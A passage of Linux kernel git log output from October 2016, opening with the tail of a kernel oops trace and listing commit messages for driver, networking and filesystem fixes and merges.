[82904.129218] RBP: ffff880369c57e70 R08: 0000000000019720 R09: ffffffff81204a27 [82904.136521] R10: ffff88046f803300 R11: 0000000000000246 R12: ffff880662399700 [82904.143828] R13: 0000000000000001 R14: ffff880369c57f48 R15: ffff8808670ce200 [82904.151128] FS: 00007fb70c9ca740(0000) GS:ffff88086e340000(0000) knlGS:0000000000000000 [82904.159557] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [82904.165473] CR2: 00000000000002d4 CR3: 0000000864c0c000 CR4: 00000000003407e0 [82904.172778] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 [82904.180084] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 [82904.187385] Stack: [82904.189573] ffff880369c57ee0 ffffffff81204f1a 00000000122a2427 0000000001426000 [82904.197392] ffff8808670ce238 0000000000010000 0000000000000000 0000000000000fff [82904.205198] 00000000122a2427 ffff880862079600 0000000001426000 ffff880369c57f48 [82904.212962] Call Trace: [82904.219667] [] seq_read+0xfa/0x3a0 [82904.224893] [] proc_reg_read+0x3d/0x80 [82904.230468] [] vfs_read+0x9c/0x170 [82904.235689] [] SyS_read+0x7f/0xe0 [82904.240816] [] system_call_fastpath+0x16/0x1b [82904.246991] Code: 30 a0 e8 0c 6f ef e0 5b 5d c3 66 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 48 8b 47 78 55 48 c7 c6 04 34 31 a0 48 89 e5 48 8b 40 50 <0f> b6 90 d4 02 00 00 31 c0 89 d1 83 e2 0f c0 e9 04 0f b6 c9 e8 [82904.267710] RIP [] smi_version_proc_show+0x18/0x40 [ipmi_msghandler] [82904.276079] RSP [82904.279734] CR2: 00000000000002d4 [82904.283731] ---[ end trace a69e4328b49dd7c4 ]--- [82904.328118] Kernel panic - not syncing: Fatal exception Reading versin from /proc need bmc device struct available. So in this patch we move add/remove_proc_entries between ipmi_bmc_register and ipmi_bmc_unregister. Cc: Kefeng Wang Signed-off-by: Xie XiuQi Signed-off-by: Corey Minyard drivers/char/ipmi/ipmi_msghandler.c | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) commit ea713bc450054aed3114da74bf76cfda64b698d0 Author: Linus Walleij Date: Mon Oct 3 10:09:40 2016 +0200 gpio: OF: separation of concerns The generic GPIO library directly implement code for of_find_gpio() which is only used with CONFIG_OF and causes compilation problems on archs that do not even have stubs for OF functions, especially on UM that does not implement any IO remap functions. Move the function to gpiolib-of.c, implement a static inline stub in gpiolib.h returning PTR_ERR(-ENOENT) if CONFIG_OF_GPIO is not set and be done with it. Signed-off-by: Linus Walleij drivers/gpio/gpiolib-of.c | 39 +++++++++++++++++++++++++++++++++++++++ drivers/gpio/gpiolib.c | 39 --------------------------------------- drivers/gpio/gpiolib.h | 16 ++++++++++++++++ 3 files changed, 55 insertions(+), 39 deletions(-) commit 63401ccdb2ca08ae76909f6588a3f3348bc3555d Author: Miklos Szeredi Date: Mon Oct 3 11:06:05 2016 +0200 fuse: limit xattr returned size Don't let userspace filesystem give bogus values for the size of xattr and xattr list. Signed-off-by: Miklos Szeredi fs/fuse/xattr.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 3085a4a459c91b7e8647d25b38b975c334e78c8c Author: Linus Walleij Date: Mon Oct 3 09:46:58 2016 +0200 gpio: make memory-mapped drivers depend on HAS_IOMEM This one is pretty obvious: on UM Linux compilation of things like allmodconfig and allyesconfig will fail due to the absence of IO memory. Simply make these drivers depend on HAS_IOMEM, it has been implicitly assumed all the time, so just make it explicit. The generic MMIO library also assumes that IOMEM is present so make also this depend on HAS_IOMEM. Reported-by: kbuild test robot Signed-off-by: Linus Walleij drivers/gpio/Kconfig | 2 ++ 1 file changed, 2 insertions(+) commit 9a2950fe9cb6882063181673846953d44f32cc3a Author: Paul Gortmaker Date: Mon Sep 19 17:59:49 2016 -0400 avr32: migrate exception table users off module.h and onto extable.h These files were only including module.h for exception table related functions. We've now separated that content out into its own file "extable.h" so now move over to that and avoid all the extra header content in module.h that we don't really need to compile these files. One uses "print_modules" so that prevents us removing module.h in that case, however. Cc: Haavard Skinnemoen Cc: Hans-Christian Egtvedt Signed-off-by: Paul Gortmaker Acked-by: Hans-Christian Noren Egtvedt arch/avr32/kernel/traps.c | 3 ++- arch/avr32/mm/fault.c | 2 +- 2 files changed, 3 insertions(+), 2 deletions(-) commit fc113d54e9d7ef3296cdf2eff49c8ca0a3e5a482 Author: Brian Boylston Date: Mon Sep 26 13:57:14 2016 -0500 watchdog: hpwdt: add support for iLO5 iLO5 will offer the same watchdog timer as previous generations, but the PCI subsystem vendor ID will be PCI_VENDOR_ID_HP_3PAR (0x1590) instead of PCI_VENDOR_ID_HP (0x103c). Add 0x1590 to the whitelist and be more specific when ignoring the 103c,1979 device. Signed-off-by: Brian Boylston Reviewed-by: Guenter Roeck Signed-off-by: Guenter Roeck Signed-off-by: Wim Van Sebroeck drivers/watchdog/hpwdt.c | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) commit 5e3d033ec175b3d0a8da2b1fc9aee8bc8acf3cfc Author: Jacob Keller Date: Thu Aug 25 14:15:39 2016 -0700 fm10k: wrap long line for alloc_workqueue Trivial change here to cleanup a checkpatch.pl warning that got introduced when changing to alloc_workqueue. Signed-off-by: Jacob Keller Tested-by: Krishneil Singh Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/fm10k/fm10k_main.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit f814bfd765218908b23e21ca7f0b6f403fb88972 Author: Alexey Khoroshilov Date: Sat Oct 1 00:56:37 2016 +0300 net: mvmdio: do not clk_disable_unprepare() NULL clock There is no need to clk_disable_unprepare(dev->clk) before it was initialized. Found by Linux Driver Verification project (linuxtesting.org). Signed-off-by: Alexey Khoroshilov Signed-off-by: David S. Miller drivers/net/ethernet/marvell/mvmdio.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit 7667d445fa9e84be028d2f658c537f4f5584d250 Merge: 32986b5 405dea1 Author: David S. Miller Date: Mon Oct 3 02:02:17 2016 -0400 Merge tag 'rxrpc-rewrite-20160930' of git://git.kernel.org/pub/scm/linux/kernel/git/dhowells/linux-fs David Howells says: ==================== rxrpc: More fixes and adjustments This set of patches contains some more fixes and adjustments: (1) Actually display the retransmission indication previously added to the tx_data trace. (2) Switch to Congestion Avoidance mode properly at cwnd==ssthresh rather than relying on detection during an overshoot and correction. (3) Reduce ssthresh to the peer's declared receive window. (4) The offset field in rxrpc_skb_priv can be dispensed with and the error field is no longer used. Get rid of them. (5) Keep the call timeouts as ktimes rather than jiffies to make it easier to deal with RTT-based timeout values in future. Rounding to jiffies is still necessary when the system timer is set. (6) Fix the call timer handling to avoid retriggering of expired timeout actions. ==================== Signed-off-by: David S. Miller commit 32986b554a5bc673e3aeaded7acbe84ca362b3f3 Merge: ab58070 85de4a2 Author: David S. Miller Date: Mon Oct 3 02:00:29 2016 -0400 Merge branch 'ovs-mpls' Jiri Benc says: ==================== openvswitch: mpls fix and clean up Convert to the new mpls skb layout the last remaining place in openvswitch, forgotten on the mpls GSO rework. The GSO rework also allows for some cleanup in the third patch. ==================== Signed-off-by: David S. Miller commit 85de4a2101acb85c3b1dde465e84596ccca99f2c Author: Jiri Benc Date: Fri Sep 30 19:08:07 2016 +0200 openvswitch: use mpls_hdr skb_mpls_header is equivalent to mpls_hdr now. Use the existing helper instead. Signed-off-by: Jiri Benc Acked-by: Pravin B Shelar Signed-off-by: David S. Miller include/net/mpls.h | 12 ------------ net/openvswitch/actions.c | 24 ++++++++++++------------ 2 files changed, 12 insertions(+), 24 deletions(-) commit 9095e10edd28e1e4a10ba5ca61fb54d9f74f8968 Author: Jiri Benc Date: Fri Sep 30 19:08:06 2016 +0200 mpls: move mpls_hdr to a common location This will be also used by openvswitch. Signed-off-by: Jiri Benc Acked-by: David Ahern Acked-by: Pravin B Shelar Signed-off-by: David S. Miller include/net/mpls.h | 9 +++++++++ net/mpls/internal.h | 10 +--------- 2 files changed, 10 insertions(+), 9 deletions(-) commit f7d49bce8e741e1e6aa14ce4db1b6cea7e4be4e8 Author: Jiri Benc Date: Fri Sep 30 19:08:05 2016 +0200 openvswitch: mpls: set network header correctly on key extract After the 48d2ab609b6b ("net: mpls: Fixups for GSO"), MPLS handling in openvswitch was changed to have network header pointing to the start of the MPLS headers and inner_network_header pointing after the MPLS headers. However, key_extract was missed by the mentioned commit, causing incorrect headers to be set when a MPLS packet just enters the bridge or after it is recirculated. Fixes: 48d2ab609b6b ("net: mpls: Fixups for GSO") Signed-off-by: Jiri Benc Acked-by: Pravin B Shelar Signed-off-by: David S. Miller net/openvswitch/flow.c | 11 +++-------- 1 file changed, 3 insertions(+), 8 deletions(-) commit ab580705693d5af79663efa504a72248700766fc Author: Arnd Bergmann Date: Fri Sep 30 18:17:10 2016 +0200 mlxsw: spectrum_router: avoid potential uninitialized data usage If fi->fib_nhs is zero, the router interface pointer is uninitialized, as shown by this warning: drivers/net/ethernet/mellanox/mlxsw/spectrum_router.c: In function 'mlxsw_sp_router_fib_event': drivers/net/ethernet/mellanox/mlxsw/spectrum_router.c:1674:21: error: 'r' may be used uninitialized in this function [-Werror=maybe-uninitialized] drivers/net/ethernet/mellanox/mlxsw/spectrum_router.c:1643:23: note: 'r' was declared here This changes the loop so we handle the case the same way as finding no router interface pointer attached to one of the nexthops to ensure we always trap here instead of using uninitialized data. Fixes: b45f64d16d45 ("mlxsw: spectrum_router: Use FIB notifications instead of switchdev calls") Signed-off-by: Arnd Bergmann Acked-by: Ido Schimmel Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlxsw/spectrum_router.c | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) commit d0debb76df18f05ecc65579d37203703ffdec44d Author: Arnd Bergmann Date: Fri Sep 30 18:17:09 2016 +0200 net/mlx5e: shut up maybe-uninitialized warning Build-testing this driver with -Wmaybe-uninitialized gives a new false-positive warning that I can't really explain: drivers/net/ethernet/mellanox/mlx5/core/en_tc.c: In function 'mlx5e_configure_flower': drivers/net/ethernet/mellanox/mlx5/core/en_tc.c:509:3: error: 'old_attr' may be used uninitialized in this function [-Werror=maybe-uninitialized] It's obvious from the code that 'old_attr' is initialized whenever 'old' is non-NULL here. The warning appears with all versions I tested from gcc-4.7 through gcc-6.1, and I could not come up with a way to rewrite the function in a more readable way that avoids the warning, so I'm adding another initialization to shut it up. Fixes: 8b32580df1cb ("net/mlx5e: Add TC vlan action for SRIOV offloads") Signed-off-by: Arnd Bergmann Acked-by: Or Gerlitz Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlx5/core/en_tc.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit fbb6aacb078285f88e4a4a20399c6af8d61e0000 Author: Bjorn Andersson Date: Sun Oct 2 17:46:39 2016 -0700 remoteproc: Refactor rproc module locking Lock the implementation as we hand out references to client drivers rather than when they try to boot the remote processor. This allows auto-booting remote processors to be shut down by unloading their module, in addition to first unbinding them. Signed-off-by: Bjorn Andersson drivers/remoteproc/remoteproc_core.c | 20 ++++++++------------ 1 file changed, 8 insertions(+), 12 deletions(-) commit 433c0e04bc06da6d049c691a9ef238d61edb841c Author: Bjorn Andersson Date: Sun Oct 2 17:46:38 2016 -0700 remoteproc: Split driver and consumer dereferencing In order to be able to lock a rproc driver implementations only when used by a client, we must differ between the dereference operation of a client and the implementation itself. This patch brings no functional change. Signed-off-by: Bjorn Andersson Documentation/remoteproc.txt | 6 +++--- drivers/remoteproc/da8xx_remoteproc.c | 4 ++-- drivers/remoteproc/omap_remoteproc.c | 4 ++-- drivers/remoteproc/qcom_q6v5_pil.c | 4 ++-- drivers/remoteproc/qcom_wcnss.c | 4 ++-- drivers/remoteproc/remoteproc_core.c | 21 ++++++++++++++++++--- drivers/remoteproc/st_remoteproc.c | 4 ++-- drivers/remoteproc/ste_modem_rproc.c | 4 ++-- drivers/remoteproc/wkup_m3_rproc.c | 4 ++-- include/linux/remoteproc.h | 1 + 10 files changed, 36 insertions(+), 20 deletions(-) commit 229b85a6a54d7eef81ba307d60a589cc232f06d1 Author: Bjorn Andersson Date: Sun Oct 2 17:41:29 2016 -0700 remoteproc: Correct resource handling upon boot failure The freeing of resources will attempt to clear values previously set in the cached resource table, so make sure to free the table after we have cleaned up the resources. Fixes: 988d204cdaf6 ("remoteproc: Move handling of cached table to boot/shutdown") Signed-off-by: Bjorn Andersson drivers/remoteproc/remoteproc_core.c | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) commit bab02a69296682881cae280587618978c357e26e Author: Jacob Keller Date: Thu Aug 25 14:06:54 2016 -0700 fm10k: use generic ethtool_op_get_ts_info callback This generic callback is for drivers which have software Tx timestamp support enabled. Without this, PTP applications requesting software timestamps may complain that the requested mode is not supported. Signed-off-by: Jacob Keller Tested-by: Krishneil Singh Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/fm10k/fm10k_ethtool.c | 1 + 1 file changed, 1 insertion(+) commit 7c70c4f8b2bf5ed777120f3d70efe35e64930c10 Author: Arnd Bergmann Date: Fri Sep 30 18:15:33 2016 +0200 cxgb4: unexport cxgb4_dcb_enabled A recent cleanup marked cxgb4_dcb_enabled as 'static', which is correct, but this ignored how the symbol is also exported. In addition, the export can be compiled out when modules are disabled, causing a harmless compiler warning in configurations for which it is not used at all: drivers/net/ethernet/chelsio/cxgb4/cxgb4_main.c:282:12: error: 'cxgb4_dcb_enabled' defined but not used [-Werror=unused-function] This removes the export and moves the function into the correct #ifdef so we only build it when there are users. Fixes: 50935857f878 ("cxgb4: mark symbols static where possible") Signed-off-by: Arnd Bergmann Signed-off-by: David S. Miller drivers/net/ethernet/chelsio/cxgb4/cxgb4_main.c | 7 +------ 1 file changed, 1 insertion(+), 6 deletions(-) commit fa34cd94fb01fcb8d79d91e009451b37692e94e5 Author: Arnd Bergmann Date: Fri Sep 30 18:13:49 2016 +0200 net: rtnl: avoid uninitialized data in IFLA_VF_VLAN_LIST handling With the newly added support for IFLA_VF_VLAN_LIST netlink messages, we get a warning about potential uninitialized variable use in the parsing of the user input when enabling the -Wmaybe-uninitialized warning: net/core/rtnetlink.c: In function 'do_setvfinfo': net/core/rtnetlink.c:1756:9: error: 'ivvl$' may be used uninitialized in this function [-Werror=maybe-uninitialized] I have not been able to prove whether it is possible to arrive in this code with an empty IFLA_VF_VLAN_LIST block, but if we do, then ndo_set_vf_vlan gets called with uninitialized arguments. This adds an explicit check for an empty list, making it obvious to the reader and the compiler that this cannot happen. Fixes: 79aab093a0b5 ("net: Update API for VF vlan protocol 802.1ad support") Signed-off-by: Arnd Bergmann Reviewed-by: Moshe Shemesh Signed-off-by: David S. Miller net/core/rtnetlink.c | 3 +++ 1 file changed, 3 insertions(+) commit 63d75463c91a5b5be7c0aca11ceb45ea5a0ae81d Author: Paolo Abeni Date: Fri Sep 30 16:56:45 2016 +0200 net: pktgen: fix pkt_size The commit 879c7220e828 ("net: pktgen: Observe needed_headroom of the device") increased the 'pkt_overhead' field value by LL_RESERVED_SPACE. As a side effect the generated packet size, computed as: /* Eth + IPh + UDPh + mpls */ datalen = pkt_dev->cur_pkt_size - 14 - 20 - 8 - pkt_dev->pkt_overhead; is decreased by the same value. The above changed slightly the behavior of existing pktgen users, and made the procfs interface somewhat inconsistent. Fix it by restoring the previous pkt_overhead value and using LL_RESERVED_SPACE as extralen in skb allocation. Also, change pktgen_alloc_skb() to only partially reserve the headroom to allow the caller to prefetch from ll header start. v1 -> v2: - fixed some typos in the comments Fixes: 879c7220e828 ("net: pktgen: Observe needed_headroom of the device") Suggested-by: Ben Greear Signed-off-by: Paolo Abeni Signed-off-by: David S. Miller net/core/pktgen.c | 21 ++++++++++----------- 1 file changed, 10 insertions(+), 11 deletions(-) commit b82d44d78480faff7456e9e0999acb9d38666057 Author: Gavin Schenk Date: Fri Sep 30 11:46:10 2016 +0200 net: fec: set mac address unconditionally If the mac address origin is not dt, you can only safely assign a mac address after "link up" of the device. If the link is off the clocks are disabled and because of issues assigning registers when clocks are off the new mac address cannot be written in .ndo_set_mac_address() on some soc's. This fix sets the mac address unconditionally in fec_restart(...) and ensures consistency between fec registers and the network layer. Signed-off-by: Gavin Schenk Acked-by: Fugang Duan Acked-by: Uwe Kleine-König Fixes: 9638d19e4816 ("net: fec: add netif status check before set mac address") Signed-off-by: David S. Miller drivers/net/ethernet/freescale/fec_main.c | 12 +++++------- 1 file changed, 5 insertions(+), 7 deletions(-) commit d6db68b2deaa0158d25b236edffcf6dd2117208f Author: Linus Walleij Date: Sun Oct 2 23:53:59 2016 +0200 bus: qcom-ebi2: depend on HAS_IOMEM After being asked to not depend on ARCH_QCOM* or similar, unsurprisingly compilation fails on UM as it has no I/O memory: drivers/built-in.o: In function `qcom_ebi2_probe': >> drivers/bus/qcom-ebi2.c:333: undefined reference to `devm_ioremap_resource' Fix this by letting the Kconfig atleast depend on HAS_IOMEM. Reported-by: kbuild test robot Cc: Arnd Bergmann Cc: Andy Gross Cc: linux-arm-msm@vger.kernel.org Signed-off-by: Linus Walleij Signed-off-by: Olof Johansson drivers/bus/Kconfig | 1 + 1 file changed, 1 insertion(+) commit 3a82e78c131a8199d38cf653b523c8fa2909df65 Author: Baoyou Xie Date: Fri Sep 30 15:48:50 2016 +0800 net: ethernet: mediatek: mark symbols static where possible We get 2 warnings when building kernel with W=1: drivers/net/ethernet/mediatek/mtk_eth_soc.c:2041:5: warning: no previous prototype for 'mtk_get_link_ksettings' [-Wmissing-prototypes] drivers/net/ethernet/mediatek/mtk_eth_soc.c:2052:5: warning: no previous prototype for 'mtk_set_link_ksettings' [-Wmissing-prototypes] In fact, these functions are only used in the file in which they are declared and don't need a declaration, but can be made static. So this patch marks these functions with 'static'. Signed-off-by: Baoyou Xie Signed-off-by: David S. Miller drivers/net/ethernet/mediatek/mtk_eth_soc.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit c1fd2794a4111501027dc60b3fd9d2a29789ea47 Merge: 80d9cf3 139787f Author: Olof Johansson Date: Sun Oct 2 22:21:33 2016 -0700 Merge tag 'berlin64-dt-for-v4.9-1' of git://git.infradead.org/users/hesselba/linux-berlin into next/dt64 Berlin64 DT changes for v4.9 - enable dw wdt nodes unconditionally, driver supports multiple instances now - switch to Cortex-A53 pmu compatible - add L2 cache topology * tag 'berlin64-dt-for-v4.9-1' of git://git.infradead.org/users/hesselba/linux-berlin: arm64: dts: berlin4ct: Add L2 cache topology arm64: dts: berlin4ct: enable all wdt nodes unconditionally arm64: dts: berlin4ct: switch to Cortex-A53 specific pmu nodes Signed-off-by: Olof Johansson commit adff807988f92d4646c50b601936e340a92d5455 Merge: 7dd84f0 9a0af83 Author: Olof Johansson Date: Sun Oct 2 22:20:39 2016 -0700 Merge tag 'berlin-dt-for-v4.9-1' of git://git.infradead.org/users/hesselba/linux-berlin into next/dt Berlin DT changes for v4.9 - enable dw wdt nodes unconditionally, driver supports multiple instances now - fix some dtc compiler warnings * tag 'berlin-dt-for-v4.9-1' of git://git.infradead.org/users/hesselba/linux-berlin: ARM: dts: sony-nsz-gs7: add missing unit name to /memory node ARM: dts: chromecast: add missing unit name to /memory node ARM: dts: berlin2q-marvell-dmp: add missing unit name to /memory node ARM: dts: berlin2: Add missing unit name to /soc node ARM: dts: berlin2cd: Add missing unit name to /soc node ARM: dts: berlin2q: Add missing unit name to /soc node ARM: dts: berlin2: Remove skeleton.dtsi inclusion ARM: dts: berlin2cd: Remove skeleton.dtsi inclusion ARM: dts: berlin2q: Remove skeleton.dtsi inclusion arm: dts: berlin2q: enable all wdt nodes unconditionally arm: dts: berlin2: enable all wdt nodes unconditionally Signed-off-by: Olof Johansson commit 8efebd6e5e93283a72d7a014d6dd8130e6601352 Author: Baoyou Xie Date: Fri Sep 30 15:34:25 2016 +0800 cxgb4: mark cxgb_setup_tc() static We get 1 warning when building kernel with W=1: drivers/net/ethernet/chelsio/cxgb4/cxgb4_main.c:2715:5: warning: no previous prototype for 'cxgb_setup_tc' [-Wmissing-prototypes] In fact, this function is only used in the file in which it is declared and don't need a declaration, but can be made static. so this patch marks this function with 'static'. Signed-off-by: Baoyou Xie Signed-off-by: David S. Miller drivers/net/ethernet/chelsio/cxgb4/cxgb4_main.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 8185041f5fa6f02acf75229a590e16aac028fc5e Author: Vladimir Zapolskiy Date: Fri Jul 8 01:46:41 2016 +0300 ARM: dts: lpc32xx: add device node for IRAM on-chip memory The change adds a new device node with description of generic SRAM on-chip memory found on NXP LPC32xx SoC series and connected to AHB matrix slave port 3. Note that NXP LPC3220 SoC has 128KiB of SRAM memory, the other LPC3230, LPC3240 and LPC3250 SoCs all have 256KiB SRAM space, in the shared DTSI file this change specifies 128KiB SRAM size. Also it's worth to mention that the SRAM area contains of 64KiB banks, 2 banks on LPC3220 and 4 banks on the other SoCs from the series, and all SRAM banks but the first one have independent power controls, the description of this feature will be added with the introduction of power domains for the SoC series. Signed-off-by: Vladimir Zapolskiy Cc: Sylvain Lemieux Signed-off-by: Olof Johansson arch/arm/boot/dts/lpc32xx.dtsi | 12 +++++++++++- 1 file changed, 11 insertions(+), 1 deletion(-) commit 96622bde4c3fc0b442d25646f70043a884d54285 Merge: 7afb1fa fd3c69b Author: Vinod Koul Date: Mon Oct 3 09:36:11 2016 +0530 Merge branch 'topic/unmap_cleanup' into for-linus commit 7afb1fa8cba1ab0b458131ad0991cd4a4e7466b2 Merge: f246911 24fec75 Author: Vinod Koul Date: Mon Oct 3 09:36:04 2016 +0530 Merge branch 'topic/tegra' into for-linus commit f2469114c66158b36143a091255b4ed2d61fab7c Merge: 709c946 4d8673a Author: Vinod Koul Date: Mon Oct 3 09:35:55 2016 +0530 Merge branch 'topic/ste_dma40' into for-linus commit 709c9464c335e1f8e22ee108def77d53330a95c7 Merge: 765630d a40235a Author: Vinod Koul Date: Mon Oct 3 09:19:03 2016 +0530 Merge branch 'topic/pl330' into for-linus commit 765630daa83c79fb804da4f268ec631a262fb7ba Merge: f35d763 e7b2acf Author: Vinod Koul Date: Mon Oct 3 09:18:55 2016 +0530 Merge branch 'topic/omap' into for-linus commit f35d7633f5adfd7f93c0391b48ef78a14682e6b2 Merge: 4dfc9af 86c7e68 Author: Vinod Koul Date: Mon Oct 3 09:18:29 2016 +0530 Merge branch 'topic/no_irq' into for-linus commit 4dfc9afe0d46caa309c5eaede841551d4056fefc Merge: 850e044 77ff7a7 Author: Vinod Koul Date: Mon Oct 3 09:18:20 2016 +0530 Merge branch 'topic/mv_xor' into for-linus commit 850e0448a6db0650a6c41adacbc92f106094d1db Merge: ed58a11 5f03c39 Author: Vinod Koul Date: Mon Oct 3 09:18:14 2016 +0530 Merge branch 'topic/k3' into for-linus commit cb9e684e89e69894cb6697a3fa1274a284d1d3bb Author: Maciej Żenczykowski Date: Thu Sep 29 00:33:43 2016 -0700 ipv6 addrconf: remove addrconf_sysctl_hop_limit() This is an effective no-op in terms of user observable behaviour. By preventing the overwrite of non-null extra1/extra2 fields in addrconf_sysctl() we can enable the use of proc_dointvec_minmax(). This allows us to eliminate the constant min/max (1..255) trampoline function that is addrconf_sysctl_hop_limit(). This is nice because it simplifies the code, and allows future sysctls with constant min/max limits to also not require trampolines. We still can't eliminate the trampoline for mtu because it isn't actually a constant (it depends on other tunables of the device) and thus requires at-write-time logic to enforce range. Signed-off-by: Maciej Żenczykowski Acked-by: Erik Kline Signed-off-by: David S. Miller net/ipv6/addrconf.c | 31 ++++++++++++++----------------- 1 file changed, 14 insertions(+), 17 deletions(-) commit ed58a112b0f57f2673cd483d45d82de1ad890e9a Merge: f492908 2e0cc30 Author: Vinod Koul Date: Mon Oct 3 09:18:06 2016 +0530 Merge branch 'topic/iommu' into for-linus commit f492908067d0dc4066706217938344b5e7fd0016 Merge: ddfaadf 2eab9b1 Author: Vinod Koul Date: Mon Oct 3 09:18:01 2016 +0530 Merge branch 'topic/ioatdma' into for-linus commit ddfaadfa7f4378fe15237086793f6aed5cbff9a3 Merge: d38e45a b7d2648 Author: Vinod Koul Date: Mon Oct 3 09:17:52 2016 +0530 Merge branch 'topic/imx' into for-linus commit d38e45aa17e91718bc7bd470df99b5bac3e03987 Merge: 11bfedf 71d0bc6 Author: Vinod Koul Date: Mon Oct 3 09:17:44 2016 +0530 Merge branch 'topic/hsu' into for-linus commit 11bfedff5594eef74617e6aa02986cf517526b98 Merge: 0a98f4b 793ae66 Author: Vinod Koul Date: Mon Oct 3 09:17:33 2016 +0530 Merge branch 'topic/err_reporting' into for-linus Signed-off-by: Vinod Koul Conflicts: drivers/dma/cppi41.c commit 0a98f4b857e9aedf426d8b5b07699a8526e07530 Merge: 9523366 d864672 Author: Vinod Koul Date: Mon Oct 3 09:16:32 2016 +0530 Merge branch 'topic/dmatest' into for-linus commit 9523366f190b8ea6dc393ff112e0e54eaf279d49 Merge: 9982337 f2f6f82 Author: Vinod Koul Date: Mon Oct 3 09:16:23 2016 +0530 Merge branch 'topic/cppi' into for-linus commit 99823374d326a12ee384a4ef26de75691bd1892d Merge: 6619f03 76d7b84 Author: Vinod Koul Date: Mon Oct 3 09:16:13 2016 +0530 Merge branch 'topic/core' into for-linus commit 6619f035a64dd44c7238b7341c138a3975d59111 Merge: 02aa848 509cf0b Author: Vinod Koul Date: Mon Oct 3 09:16:03 2016 +0530 Merge branch 'topic/compile_test' into for-linus commit d4ef9f72128d414ad83b27b49312faa971d77382 Author: Stefan Agner Date: Wed Sep 28 15:05:28 2016 -0700 netfilter: bridge: clarify bridge/netfilter message When using bridge without bridge netfilter enabled the message displayed is rather confusing and leads to belive that a deprecated feature is in use. Use IS_MODULE to be explicit that the message only affects users which use bridge netfilter as module and reword the message. Signed-off-by: Stefan Agner Acked-by: Florian Westphal Signed-off-by: David S. Miller net/bridge/br.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) commit b50afd203a5ef1998c18d6519ad2b2c546d6af22 Merge: d6169b0 c8d2bc9 Author: David S. Miller Date: Sun Oct 2 21:17:07 2016 -0400 Merge git://git.kernel.org/pub/scm/linux/kernel/git/davem/net Three sets of overlapping changes. Nothing serious. Signed-off-by: David S. Miller commit 155cd433b516506df065866f3d974661f6473572 Merge: a1f45e6 5cd9cee Author: Dave Chinner Date: Mon Oct 3 09:56:28 2016 +1100 Merge branch 'xfs-4.9-log-recovery-fixes' into for-next commit a1f45e668e14c26b4700b1936c5a41b58cc4ac74 Merge: a89b3f9 d5bfccd Author: Dave Chinner Date: Mon Oct 3 09:53:59 2016 +1100 Merge branch 'iomap-4.9-dax' into for-next commit a89b3f97bb7c248aea155a90f31d3dfb93b75971 Merge: 79ad576 51446f5 Author: Dave Chinner Date: Mon Oct 3 09:52:51 2016 +1100 Merge branch 'xfs-4.9-delalloc-rework' into for-next commit 79ad57612495744d3875a6fba25c467a87b3ad64 Merge: b036b97 3fd129b Author: Dave Chinner Date: Mon Oct 3 09:52:31 2016 +1100 Merge branch 'xfs-4.9-reflink-prep' into for-next commit b036b97050a9799aaaee78a8501aa255a74a2db7 Merge: 0d5b0cf e43c460 Author: Dave Chinner Date: Mon Oct 3 09:52:11 2016 +1100 Merge branch 'iomap-4.9-misc-fixes-1' into for-next commit 0d5b0cf246a3227d811e7bf55d756b273408e414 Author: Christoph Hellwig Date: Mon Oct 3 09:48:08 2016 +1100 fs: update atime before I/O in generic_file_read_iter After the call to ->direct_IO the final reference to the file might have been dropped by aio_complete already, and the call to file_accessed might cause a use after free. Instead update the access time before the I/O, similar to how we update the time stamps before writes. Signed-off-by: Christoph Hellwig Reviewed-by: Dave Chinner Signed-off-by: Dave Chinner mm/filemap.c | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) commit a447d7cd15c759d8ab7f3c9c8183aa8c999d7ed4 Author: Christoph Hellwig Date: Mon Oct 3 09:47:34 2016 +1100 xfs: update atime before I/O in xfs_file_dio_aio_read After the call to __blkdev_direct_IO the final reference to the file might have been dropped by aio_complete already, and the call to file_accessed might cause a use after free. Instead update the access time before the I/O, similar to how we update the time stamps before writes. Signed-off-by: Christoph Hellwig Reported-and-tested-by: Darrick J. Wong Reviewed-by: Darrick J. Wong Signed-off-by: Dave Chinner fs/xfs/xfs_file.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit d5bfccdf38d094f2b15fae8b361d7bd47f2509d6 Author: Christoph Hellwig Date: Mon Oct 3 09:46:04 2016 +1100 ext2: fix possible integer truncation in ext2_iomap_begin For 32-bit architectures we need to cast first_block to u64 before shifting it left. Signed-off-by: Christoph Hellwig Reported-by: Jan Kara Reviewed-by: Dave Chinner Signed-off-by: Dave Chinner fs/ext2/inode.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit ec037dfcc064f5f81982c78e95bab783568ae35f Author: Julia Lawall Date: Sat Oct 1 22:53:11 2016 +0200 UBIFS: improve function-level documentation Fix various inconsistencies in the documentation associated with various functions. In the case of fs/ubifs/lprops.c, the second parameter of ubifs_get_lp_stats was renamed from st to lst in commit 84abf972ccff ("UBIFS: add re-mount debugging checks") In the case of fs/ubifs/lpt_commit.c, the excess variables have never existed in the associated functions since the code was introduced into the kernel. The others appear to be straightforward typos. Issues detected using Coccinelle (http://coccinelle.lip6.fr/) Signed-off-by: Julia Lawall Signed-off-by: Richard Weinberger fs/ubifs/file.c | 2 +- fs/ubifs/gc.c | 2 +- fs/ubifs/lprops.c | 2 +- fs/ubifs/lpt_commit.c | 4 +--- fs/ubifs/replay.c | 2 +- 5 files changed, 5 insertions(+), 7 deletions(-) commit 74e9c700bcb7529a0ab3f57d1125f4494ec97b3c Author: 